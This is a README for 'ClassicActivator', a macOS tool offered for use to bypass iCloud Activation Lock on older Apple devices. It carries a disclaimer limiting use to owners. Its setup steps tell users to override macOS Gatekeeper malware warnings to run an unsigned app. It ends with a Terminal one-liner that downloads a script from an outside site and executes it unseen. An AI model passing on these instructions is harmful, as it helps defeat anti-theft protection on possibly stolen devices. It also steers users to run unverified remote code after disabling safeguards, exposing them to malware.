# ClassicActivator

**Untethered iCloud Activation Lock Bypass Tool for Legacy Devices**

ClassicActivator is a macOS application designed to bypass iCloud Activation Lock (also known as "Hello" or Activation screen) on supported older Apple devices. It provides a lightweight, persistent, WiFi-only bypass solution with **no battery drain** and full support for iCloud sign-in + App Store access after bypass.

**Important Legal Notice**  
This tool is intended **only** for legitimate owners who have forgotten their Apple ID credentials on their own devices. Bypassing Activation Lock on lost, stolen, or unauthorized devices is illegal and against Apple's terms of service. Always contact Apple Support with proof of ownership first. Use at your own risk — the developer is not responsible for any misuse or device issues.

## Key Features

- **No battery drain** — No heavy background processes or constant tethering
- **WiFi-only mode** — Full device access over WiFi
- Sign in with your own Apple ID for **iCloud** (backups, sync, Find My, etc.) and **App Store** downloads

- Biometrics (Face ID / Touch ID) usually restored
- Persistent after restarts

## Requirements
- macOS computer (tested on recent versions)
- USB cable to connect your iOS device
- Your iOS device stuck on the **Activation Lock / Hello screen**
- Internet connection on Mac (for initial setup if needed)

## Installation & Setup

1. Download **ClassicActivator.app** (from the official source or your trusted provider — verify the download hash if provided for safety).

2. **Important**: Move the app to the correct location for full functionality and to avoid permission issues:
   - Open Finder.
   - Go to the **Applications** folder: From the menu bar, choose **Go > Applications** (or press `⌘ + Shift + A`).
   - Drag **ClassicActivator.app** into the **Applications** folder.
   - If prompted for your admin password, enter it.

3. Launch the app:
   - Search for "ClassicActivator" in **Spotlight** (`⌘ + Space`) and press Enter, or find and double-click it in **Launchpad** or the Applications folder.
   - macOS has strict security (Gatekeeper) and may block apps from unidentified developers. You might see one of these messages:
     - “ClassicActivator.app” can’t be opened because Apple cannot check it for malicious software. (Or similar: "from an unidentified developer", "developer cannot be verified", or "damaged and can’t be opened. You should move it to the Trash.")
     - The dialog often shows only **Move to Trash** and **Cancel** (or **OK** / **Done**).
   - **Do NOT** click Move to Trash — that would delete the app!
   - Instead:
     - Click **Cancel** (or **Done**) to close the dialog.
     - Immediately go to **System Settings** (Apple menu > System Settings... or search in Spotlight).
     - Navigate to **Privacy & Security** in the sidebar (you may need to scroll down).
     - In the **Security** section (usually near the bottom), look for a message like:
       - “ClassicActivator.app” was blocked because it is not from an identified developer.
       - Or: “...was blocked from use because it is not from an identified developer.”
     - Click the **Open Anyway** button next to it (this appears for about 1 hour after the initial attempt — if it's missing, try double-clicking the app again to trigger the message).
     - Confirm by clicking **Open** in the pop-up that follows.
   - The app should now launch successfully. You only need to do this once — macOS will remember the exception for this app.
   - **Alternative quick method** (if the above doesn't appear):
     - In Finder, right-click (or Control-click) **ClassicActivator.app** in the Applications folder.
     - Choose **Open** from the context menu.
     - macOS may show a similar warning — click **Open** to approve it (this often triggers the Privacy & Security entry).

**Note**: Never change Gatekeeper to allow apps "from Anywhere" unless you fully trust all sources — it reduces system security. The per-app **Open Anyway** method is safer.

### Fix Device Detection / Reading Issues
If the tool cannot read device info (serial, ECID, iOS version, etc.):
- Install required macOS iOS communication libraries (libimobiledevice, usbmuxd, etc.).
- Run this one-time command in **Terminal**:

```bash
curl https://euphoriatools.com/2025-march/extras/install_libraries.sh -o install_libraries.sh && chmod +x ./install_libraries.sh && ./install_libraries.sh
